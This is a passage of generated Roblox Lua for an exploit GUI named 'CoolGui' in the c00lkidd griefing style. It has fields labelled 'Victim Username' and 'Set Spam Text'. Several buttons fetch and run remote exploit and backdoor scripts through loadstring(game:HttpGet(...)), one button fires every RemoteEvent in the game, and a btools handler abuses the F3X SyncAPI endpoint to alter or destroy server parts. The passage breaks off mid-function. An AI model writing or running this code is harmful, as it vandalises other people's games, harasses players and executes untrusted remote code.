G2L["fd"]["ZIndex"] = 3;
G2L["fd"]["BorderSizePixel"] = 3;
G2L["fd"]["TextSize"] = 14;
G2L["fd"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fd"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["fd"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fd"]["Size"] = UDim2.new(0, 74, 0, 33);
G2L["fd"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fd"]["Text"] = [[Set WS/JH]];
G2L["fd"]["Name"] = [[swsjhlabel]];
G2L["fd"]["Position"] = UDim2.new(0, 0, 0.16992, 0);
-- StarterGui.CoolGui.settings.smain.sglabel
G2L["fe"] = Instance.new("TextLabel", G2L["f8"]);
G2L["fe"]["ZIndex"] = 3;
G2L["fe"]["BorderSizePixel"] = 3;
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["Size"] = UDim2.new(0, 74, 0, 33);
G2L["fe"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fe"]["Text"] = [[Set Gravity]];
G2L["fe"]["Name"] = [[sglabel]];
G2L["fe"]["Position"] = UDim2.new(0.24161, 0, 0.16992, 0);
-- StarterGui.CoolGui.settings.smain.swsjh
G2L["ff"] = Instance.new("TextBox", G2L["f8"]);
G2L["ff"]["Name"] = [[swsjh]];
G2L["ff"]["ZIndex"] = 3;
G2L["ff"]["BorderSizePixel"] = 3;
G2L["ff"]["TextWrapped"] = true;
G2L["ff"]["TextSize"] = 14;
G2L["ff"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ff"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ff"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ff"]["Size"] = UDim2.new(0, 72, 0, 28);
G2L["ff"]["Position"] = UDim2.new(0, 0, 0.26184, 0);
G2L["ff"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["ff"]["Text"] = [[50]];
-- StarterGui.CoolGui.settings.smain.sg
G2L["100"] = Instance.new("TextBox", G2L["f8"]);
G2L["100"]["Name"] = [[sg]];
G2L["100"]["ZIndex"] = 3;
G2L["100"]["BorderSizePixel"] = 3;
G2L["100"]["TextWrapped"] = true;
G2L["100"]["TextSize"] = 14;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0, 74, 0, 28);
G2L["100"]["Position"] = UDim2.new(0.24161, 0, 0.26184, 0);
G2L["100"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["100"]["Text"] = [[100]];
-- StarterGui.CoolGui.settings.smain.sidlabel
G2L["101"] = Instance.new("TextLabel", G2L["f8"]);
G2L["101"]["ZIndex"] = 3;
G2L["101"]["BorderSizePixel"] = 3;
G2L["101"]["TextSize"] = 14;
G2L["101"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["101"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["101"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["101"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["101"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["101"]["Text"] = [[Victim Username]];
G2L["101"]["Name"] = [[sidlabel]];
G2L["101"]["Position"] = UDim2.new(0.5, 0, 0.16992, 0);
-- StarterGui.CoolGui.settings.smain.sid
G2L["102"] = Instance.new("TextBox", G2L["f8"]);
G2L["102"]["Name"] = [[sid]];
G2L["102"]["ZIndex"] = 3;
G2L["102"]["BorderSizePixel"] = 3;
G2L["102"]["TextWrapped"] = true;
G2L["102"]["TextSize"] = 14;
G2L["102"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0, 149, 0, 28);
G2L["102"]["Position"] = UDim2.new(0.5, 0, 0.26184, 0);
G2L["102"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["102"]["Text"] = [[]];
-- StarterGui.CoolGui.settings.smain.fps
G2L["103"] = Instance.new("TextLabel", G2L["f8"]);
G2L["103"]["ZIndex"] = 3;
G2L["103"]["BorderSizePixel"] = 3;
G2L["103"]["TextSize"] = 14;
G2L["103"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["103"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["103"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["103"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["103"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["103"]["Text"] = [[FPS: ]];
G2L["103"]["Name"] = [[fps]];
G2L["103"]["Position"] = UDim2.new(0, 0, 0.33983, 0);
-- StarterGui.CoolGui.settings.smain.fps.fpscheck
G2L["104"] = Instance.new("LocalScript", G2L["103"]);
G2L["104"]["Name"] = [[fpscheck]];
-- StarterGui.CoolGui.settings.smain.size
G2L["105"] = Instance.new("TextLabel", G2L["f8"]);
G2L["105"]["ZIndex"] = 3;
G2L["105"]["BorderSizePixel"] = 3;
G2L["105"]["TextSize"] = 14;
G2L["105"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["105"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["105"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["105"]["RichText"] = true;
G2L["105"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["105"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["105"]["Text"] = [[Server Size: ]];
G2L["105"]["Name"] = [[size]];
G2L["105"]["Position"] = UDim2.new(0, 0, 0.43175, 0);
-- StarterGui.CoolGui.settings.smain.size.sizecheck
G2L["106"] = Instance.new("LocalScript", G2L["105"]);
G2L["106"]["Name"] = [[sizecheck]];
-- StarterGui.CoolGui.settings.smain.time
G2L["107"] = Instance.new("TextLabel", G2L["f8"]);
G2L["107"]["TextWrapped"] = true;
G2L["107"]["ZIndex"] = 3;
G2L["107"]["BorderSizePixel"] = 3;
G2L["107"]["TextSize"] = 14;
G2L["107"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["107"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["107"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["107"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["107"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["107"]["Text"] = [[Server Time: ]];
G2L["107"]["Name"] = [[time]];
G2L["107"]["Position"] = UDim2.new(0, 0, 0.52368, 0);
-- StarterGui.CoolGui.settings.smain.time.timecheck
G2L["108"] = Instance.new("LocalScript", G2L["107"]);
G2L["108"]["Name"] = [[timecheck]];
-- StarterGui.CoolGui.settings.smain.checkrfe
G2L["109"] = Instance.new("TextLabel", G2L["f8"]);
G2L["109"]["TextWrapped"] = true;
G2L["109"]["ZIndex"] = 3;
G2L["109"]["BorderSizePixel"] = 3;
G2L["109"]["TextSize"] = 14;
G2L["109"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["109"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["109"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["109"]["Size"] = UDim2.new(0, 149, 0, 33);
G2L["109"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["109"]["Text"] = [[Loading..]];
G2L["109"]["Name"] = [[checkrfe]];
G2L["109"]["Position"] = UDim2.new(0.5, 0, 0.33983, 0);
-- StarterGui.CoolGui.settings.smain.checkrfe.rfecheck
G2L["10a"] = Instance.new("LocalScript", G2L["109"]);
G2L["10a"]["Name"] = [[rfecheck]];
-- StarterGui.CoolGui.settings.smain.suslabel
G2L["10b"] = Instance.new("TextLabel", G2L["f8"]);
G2L["10b"]["ZIndex"] = 3;
G2L["10b"]["BorderSizePixel"] = 3;
G2L["10b"]["TextSize"] = 14;
G2L["10b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["10b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10b"]["Size"] = UDim2.new(0, 146, 0, 33);
G2L["10b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10b"]["Text"] = [[Set Display Name]];
G2L["10b"]["Name"] = [[suslabel]];
G2L["10b"]["Position"] = UDim2.new(0, 0, 0.6156, 0);
-- StarterGui.CoolGui.settings.smain.sus
G2L["10c"] = Instance.new("TextBox", G2L["f8"]);
G2L["10c"]["CursorPosition"] = -1;
G2L["10c"]["Name"] = [[sus]];
G2L["10c"]["ZIndex"] = 3;
G2L["10c"]["BorderSizePixel"] = 3;
G2L["10c"]["TextWrapped"] = true;
G2L["10c"]["TextSize"] = 14;
G2L["10c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10c"]["Size"] = UDim2.new(0, 146, 0, 28);
G2L["10c"]["Position"] = UDim2.new(0, 0, 0.70752, 0);
G2L["10c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10c"]["Text"] = [[God]];
-- StarterGui.CoolGui.settings.smain.rlabel
G2L["10d"] = Instance.new("TextLabel", G2L["f8"]);
G2L["10d"]["ZIndex"] = 3;
G2L["10d"]["BorderSizePixel"] = 3;
G2L["10d"]["TextSize"] = 14;
G2L["10d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["10d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10d"]["Size"] = UDim2.new(0, 49, 0, 33);
G2L["10d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10d"]["Text"] = [[R]];
G2L["10d"]["Name"] = [[rlabel]];
G2L["10d"]["Position"] = UDim2.new(0.5, 0, 0.6156, 0);
-- StarterGui.CoolGui.settings.smain.glabel
G2L["10e"] = Instance.new("TextLabel", G2L["f8"]);
G2L["10e"]["ZIndex"] = 3;
G2L["10e"]["BorderSizePixel"] = 3;
G2L["10e"]["TextSize"] = 14;
G2L["10e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["10e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10e"]["Size"] = UDim2.new(0, 49, 0, 33);
G2L["10e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10e"]["Text"] = [[G]];
G2L["10e"]["Name"] = [[glabel]];
G2L["10e"]["Position"] = UDim2.new(0.66779, 0, 0.6156, 0);
-- StarterGui.CoolGui.settings.smain.blabel
G2L["10f"] = Instance.new("TextLabel", G2L["f8"]);
G2L["10f"]["ZIndex"] = 3;
G2L["10f"]["BorderSizePixel"] = 3;
G2L["10f"]["TextSize"] = 14;
G2L["10f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["10f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10f"]["Size"] = UDim2.new(0, 49, 0, 33);
G2L["10f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["10f"]["Text"] = [[B]];
G2L["10f"]["Name"] = [[blabel]];
G2L["10f"]["Position"] = UDim2.new(0.83221, 0, 0.6156, 0);
-- StarterGui.CoolGui.settings.smain.r
G2L["110"] = Instance.new("TextBox", G2L["f8"]);
G2L["110"]["CursorPosition"] = -1;
G2L["110"]["Name"] = [[r]];
G2L["110"]["ZIndex"] = 3;
G2L["110"]["BorderSizePixel"] = 3;
G2L["110"]["TextWrapped"] = true;
G2L["110"]["TextSize"] = 14;
G2L["110"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["110"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["110"]["Size"] = UDim2.new(0, 50, 0, 28);
G2L["110"]["Position"] = UDim2.new(0.5, 0, 0.70752, 0);
G2L["110"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["110"]["Text"] = [[0]];
-- StarterGui.CoolGui.settings.smain.g
G2L["111"] = Instance.new("TextBox", G2L["f8"]);
G2L["111"]["CursorPosition"] = -1;
G2L["111"]["Name"] = [[g]];
G2L["111"]["ZIndex"] = 3;
G2L["111"]["BorderSizePixel"] = 3;
G2L["111"]["TextWrapped"] = true;
G2L["111"]["TextSize"] = 14;
G2L["111"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["111"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["111"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["111"]["Size"] = UDim2.new(0, 50, 0, 28);
G2L["111"]["Position"] = UDim2.new(0.66779, 0, 0.70752, 0);
G2L["111"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["111"]["Text"] = [[255]];
-- StarterGui.CoolGui.settings.smain.b
G2L["112"] = Instance.new("TextBox", G2L["f8"]);
G2L["112"]["Name"] = [[b]];
G2L["112"]["ZIndex"] = 3;
G2L["112"]["BorderSizePixel"] = 3;
G2L["112"]["TextWrapped"] = true;
G2L["112"]["TextSize"] = 14;
G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["112"]["Size"] = UDim2.new(0, 50, 0, 28);
G2L["112"]["Position"] = UDim2.new(0.83221, 0, 0.70752, 0);
G2L["112"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["112"]["Text"] = [[0]];
-- StarterGui.CoolGui.settings.smain.stlabel
G2L["113"] = Instance.new("TextLabel", G2L["f8"]);
G2L["113"]["ZIndex"] = 3;
G2L["113"]["BorderSizePixel"] = 3;
G2L["113"]["TextSize"] = 14;
G2L["113"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["113"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["113"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["113"]["Size"] = UDim2.new(0, 148, 0, 33);
G2L["113"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["113"]["Text"] = [[Set Spam Text]];
G2L["113"]["Name"] = [[stlabel]];
G2L["113"]["Position"] = UDim2.new(0.5, 0, 0.43175, 0);
-- StarterGui.CoolGui.settings.smain.st
G2L["114"] = Instance.new("TextBox", G2L["f8"]);
G2L["114"]["Name"] = [[st]];
G2L["114"]["ZIndex"] = 4;
G2L["114"]["BorderSizePixel"] = 3;
G2L["114"]["TextWrapped"] = true;
G2L["114"]["TextSize"] = 14;
G2L["114"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["114"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["114"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["114"]["Size"] = UDim2.new(0, 149, 0, 30);
G2L["114"]["Position"] = UDim2.new(0.5, 0, 0.52368, 0);
G2L["114"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["114"]["Text"] = [[join team c00lkidd!]];
-- StarterGui.CoolGui.settings.sbutton
G2L["115"] = Instance.new("TextButton", G2L["f6"]);
G2L["115"]["BorderSizePixel"] = 3;
G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["115"]["TextSize"] = 48;
G2L["115"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["115"]["ZIndex"] = 2;
G2L["115"]["Size"] = UDim2.new(0, 27, 1, 0);
G2L["115"]["Name"] = [[sbutton]];
G2L["115"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["115"]["Text"] = [[<]];
G2L["115"]["Position"] = UDim2.new(1, 3, 0, 0);
-- StarterGui.CoolGui.settings.sbutton.LocalScript
G2L["116"] = Instance.new("LocalScript", G2L["115"]);
-- StarterGui.CoolGui.cope.LocalScript
local function C_3()
local script = G2L["3"];
local main = script.Parent.Parent.main
local settings = script.Parent.Parent.settings
local close = script.Parent
close.MouseButton1Down:connect(function()
if close.Text == "Close" then
main.Visible = false
settings.Visible = false
close.Text = "Open"
elseif close.Text == "Open" then
main.Visible = true
settings.Visible = true
close.Text = "Close"
end
end)
end;
task.spawn(C_3);
-- StarterGui.CoolGui.main.left.flipleft
local function C_7()
local script = G2L["7"];
local right = script.Parent
local one = script.Parent.Parent.page1
local two = script.Parent.Parent.page2
local three = script.Parent.Parent.page3
local four = script.Parent.Parent.page4
local five = script.Parent.Parent.page5
local six = script.Parent.Parent.page6
right.MouseButton1Down:connect(function()
if three.Visible == true then
one.Visible = false
two.Visible = true
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = false
elseif four.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = true
four.Visible = false
five.Visible = false
six.Visible = false
elseif one.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = true
elseif two.Visible == true then
one.Visible = true
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = false
elseif five.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = true
five.Visible = false
six.Visible = false
elseif six.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = true
six.Visible = false
end
end)
end;
task.spawn(C_7);
-- StarterGui.CoolGui.main.right.flipright
local function C_9()
local script = G2L["9"];
local right = script.Parent
local one = script.Parent.Parent.page1
local two = script.Parent.Parent.page2
local three = script.Parent.Parent.page3
local four = script.Parent.Parent.page4
local five = script.Parent.Parent.page5
local six = script.Parent.Parent.page6
right.MouseButton1Down:connect(function()
if one.Visible == true then
one.Visible = false
two.Visible = true
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = false
elseif two.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = true
four.Visible = false
five.Visible = false
six.Visible = false
elseif three.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = true
five.Visible = false
six.Visible = false
elseif four.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = true
six.Visible = false
elseif five.Visible == true then
one.Visible = false
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = true
elseif six.Visible == true then
one.Visible = true
two.Visible = false
three.Visible = false
four.Visible = false
five.Visible = false
six.Visible = false
end
end)
end;
task.spawn(C_9);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_e()
local script = G2L["e"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "15475953475"
end)
end;
task.spawn(C_e);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_10()
local script = G2L["10"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "3342499434"
end)
end;
task.spawn(C_10);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_12()
local script = G2L["12"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "358313209"
end)
end;
task.spawn(C_12);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_14()
local script = G2L["14"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16432013221"
end)
end;
task.spawn(C_14);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_16()
local script = G2L["16"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "13283475854"
end)
end;
task.spawn(C_16);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_18()
local script = G2L["18"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "16673285043"
end)
end;
task.spawn(C_18);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_1a()
local script = G2L["1a"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "160456772"
end)
end;
task.spawn(C_1a);
-- StarterGui.CoolGui.main.page4.pres.button.LocalScript
local function C_1c()
local script = G2L["1c"];
local button = script.Parent
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text = "14569362147"
end)
end;
task.spawn(C_1c);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_20()
local script = G2L["20"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()
end)
end;
task.spawn(C_20);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_22()
local script = G2L["22"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local remoteamount = 0
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
remoteamount = remoteamount + 1
v:FireServer()
if v:IsA("BindableEvent") then
remoteamount = remoteamount + 1
v:Fire()
if v:IsA("RemoteFunction") then
remoteamount = remoteamount + 1
v:InvokeServer()
end
end
end
end
end)
end;
task.spawn(C_22);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_24()
local script = G2L["24"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))();
end)
end;
task.spawn(C_24);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_26()
local script = G2L["26"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua"))()
end)
end;
task.spawn(C_26);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_28()
local script = G2L["28"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastefy.app/edMe7Bwx/raw'))()
end)
end;
task.spawn(C_28);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_2a()
local script = G2L["2a"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()
end)
end;
task.spawn(C_2a);
-- StarterGui.CoolGui.main.page4.guir.button.LocalScript
local function C_2c()
local script = G2L["2c"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/master/source.lua"))()
end)
end;
task.spawn(C_2c);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_32()
local script = G2L["32"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sdid.Text)
end)
end;
task.spawn(C_32);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_34()
local script = G2L["34"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
